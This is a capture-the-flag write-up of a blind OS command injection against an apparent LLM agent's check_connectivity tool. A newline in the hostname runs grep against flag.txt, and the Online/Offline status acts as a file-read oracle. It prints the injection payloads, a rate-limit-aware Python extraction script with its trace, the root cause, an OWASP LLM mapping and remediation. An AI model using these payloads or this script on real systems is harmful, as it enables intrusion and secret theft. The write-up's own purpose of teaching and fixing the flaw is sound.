Blind Network Ninja

Field	Detail
Track	Advanced
Classification	Blind OS command injection via newline, using a boolean oracle

1. Result

Flag obtained: flag-e5c37f

Status: Mission accomplished.

The connectivity tool interpolated a user-controlled hostname into a shell command. A newline in that argument started a second command. Command output was discarded, but the process exit status was returned as Online or Offline. That boolean status was used as a file-read oracle against flag.txt.

flag-e5c37f

Evidence

Newline injection with a grep length check:

Newline grep confirming 6 hex chars

Blind extraction :

import requests
import string
import urllib3
import time

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


URL = "https://ctf.arkx.ninja/level/9/chat"
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

HEADERS = {
    "Content-Type": "application/json",
    "Origin": "https://ctf.arkx.ninja",
    "Referer": "https://ctf.arkx.ninja/level/9",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36",
}

# Paste cookies here exactly as in the request
COOKIES_RAW = ""


def cookies_dict(raw):
    d = {}
    for part in raw.split("; "):
        if "=" in part:
            k, v = part.split("=", 1)
            d[k] = v
    return d


COOKIES = cookies_dict(COOKIES_RAW)
CHARSET = "0123456789abcdefghijklmnopqrstuvwxyz"

# 10 requests / 60s allowed -> pace requests with margin
MIN_INTERVAL = 7.0
_last_request_time = [0.0]


def check(cmd: str, max_retries=5):
    body = {"message": f'check_connectivity("localhost\\n{cmd}")'}

    for attempt in range(max_retries):
        # Pace ourselves
        elapsed = time.time() - _last_request_time[0]
        if elapsed < MIN_INTERVAL:
            time.sleep(MIN_INTERVAL - elapsed)

        r = requests.post(URL, headers=HEADERS, cookies=COOKIES, json=body, timeout=15)
        _last_request_time[0] = time.time()

        # Detect explicit rate-limit response and back off hard
        try:
            parsed = r.json()
        except Exception:
            parsed = None

        if (
            parsed
            and isinstance(parsed, dict)
            and "error" in parsed
            and "Rate limit" in str(parsed.get("error", ""))
        ):
            wait = 15 * (attempt + 1)
            print(f"  [rate limited] backing off {wait}s...")
            time.sleep(wait)
            continue

        online = "Online" in r.text
        return online, r.status_code, r.text

    raise RuntimeError("Exceeded retries due to persistent rate limiting")


def find_char(known_prefix: str) -> str:
    lo, hi = 0, len(CHARSET) - 1
    while lo < hi:
        mid = (lo + hi) // 2
        char_class = CHARSET[lo : mid + 1]
        cmd = f"grep -qE '^{known_prefix}[{char_class}]' flag.txt"
        online, status, text = check(cmd)
        print(f"    testing [{char_class}] -> online={online}")
        if online:
            hi = mid
        else:
            lo = mid + 1
    return CHARSET[lo]


def main():
    flag = "flag-"
    for pos in range(6):
        print(f"[position {pos+1}]")
        c = find_char(flag)
        flag += c
        print(f"Progress: {flag}")

    print("FLAG:", flag)


if __name__ == "__main__":
    main()

blind_network.py recovering flag-e5c37f

Flag acquired:

FLAG ACQUIRED on the connectivity checker

Level completed:

Dashboard showing Level 9 complete

2. Exploit

The tool is check_connectivity(...), submitted through:

POST /level/9/chat

{
  "message": "..."
}

The working injection character is a newline (\n). Other shell metacharacters were not required and were not used in the successful chain.

The wrapper becomes two command lines:

<connectivity check on localhost>
<injected command>

Stdout is discarded. Exit status is mapped to Online (success) or Offline (failure).

2.1 Confirm newline command injection

Prompt:

check_connectivity("localhost")

Agent response: Online

This is the intended connectivity check.

Prompt:

check_connectivity("localhost\nid")

Agent response: Online

The newline caused a second shell command (id) to execute. The tool still reduced the result to Online / Offline; it did not return command output. That is sufficient to prove command injection.

2.2 Confirm local file access and the boolean oracle

Prompt:

check_connectivity("localhost\nls flag.txt")

Agent response: Online

flag.txt exists in the tool’s working directory.

Prompt:

check_connectivity("localhost\ngrep 'flag-' flag.txt")

Agent response: Online

Prompt:

check_connectivity("localhost\ngrep 'flag-a' flag.txt")

Agent response: Offline

A matching grep returns Online. A non-matching prefix returns Offline. The connectivity response is therefore an in-band boolean file-read oracle.

2.3 Determine flag length

The same newline gadget was used with a full-line regex. -q keeps grep silent; only the exit status matters.

Prompt:

check_connectivity("localhost\ngrep -qE '^flag-[0-9a-f]{5}$' flag.txt")

Agent response: Offline

Newline grep showing flag is not 5 hex chars

Prompt:

check_connectivity("localhost\ngrep -qE '^flag-[0-9a-f]{6}$' flag.txt")

Agent response: Online

Newline grep confirming 6 hex chars

The flag format is:

flag-xxxxxx

six characters after flag-.

2.4 Recover the remaining characters

Each request used the proven newline wrapper:

check_connectivity("localhost\n<command>")

The predicate for a known prefix was:

grep -qE '^{known_prefix}[{char_class}]' flag.txt

Online means the next character is in char_class. Offline means it is not.

The API rate-limits approximately 10 requests per 60 seconds. Binary search over 0123456789abcdefghijklmnopqrstuvwxyz recovers each position in a handful of queries instead of testing every hex digit linearly.

body = {"message": f'check_connectivity("localhost\\n{cmd}")'}
cmd = f"grep -qE '^{known_prefix}[{char_class}]' flag.txt"
online = "Online" in r.text

Extraction trace:

Progress: flag-e5c37
[position 6]
testing [ef] -> online=True
testing [e] -> online=False
Progress: flag-e5c37f
FLAG: flag-e5c37f

Position 6 was in [ef] and was not e, therefore f.

blind_network.py recovering flag-e5c37f

Final successful check:

check_connectivity("localhost\ngrep -qE '^flag-e5c37f$' flag.txt")

Agent response: Online. Submitting flag-e5c37f completed the level.

FLAG ACQUIRED on the connectivity checker

No pipe, ||, semicolon, or out-of-band channel was required. The newline and the Online / Offline status were the entire exploit primitive.

3. Root Cause

The connectivity tool inserted a user-controlled hostname into a shell command. It did not reject control characters or enforce a hostname schema.

A newline is a command separator in a shell. After interpolation, localhost\ngrep ... flag.txt is two commands resulting to OS command injection.

The tool also:

executed those commands with access to the local filesystem, including flag.txt;
discarded stdout, which only hid conventional output;
returned process success or failure as Online / Offline.

That status is a deterministic oracle. grep against flag.txt maps file contents onto a single bit. Rate limiting slows extraction; it does not remove the injection.

The intended function is a network check. The implementation is system(user_input) with the speaker muted.

4. Impact and Severity

Severity: High, potentially Critical if the process has broader filesystem or network privileges.

An attacker can execute additional commands in the tool’s context, read local files, and reconstruct secrets one character at a time from boolean responses. Direct command output is not required.

5. Mapping

OWASP Top 10 for LLM Applications

Category	Relevance
LLM05:2025 Improper Output Handling (2023: LLM07 Insecure Plugin Design)	The connectivity plugin concatenated attacker-controlled input into a shell instead of passing a validated hostname as a single argument.
LLM06:2025 Excessive Agency (2023: LLM08 Excessive Agency)	A host-uptime check was allowed to run arbitrary additional commands and read local files.
LLM02:2025 Sensitive Information Disclosure (2023: LLM06 Sensitive Information Disclosure)	The boolean oracle disclosed the contents of a protected file.

Framework	Category
CWE-78	OS Command Injection
CWE-200	Exposure of Sensitive Information

6. Remediation

Pass a validated hostname as an argument array to a fixed network API or process (subprocess with shell=False, or a library ping). Never concatenate the value into a shell command.

Reject control characters, including newline, and reject shell metacharacters and unexpected length. Run the tool in an isolated, low-privilege environment with no access to application secrets. Do not return attacker-useful success oracles for operations that can touch sensitive files.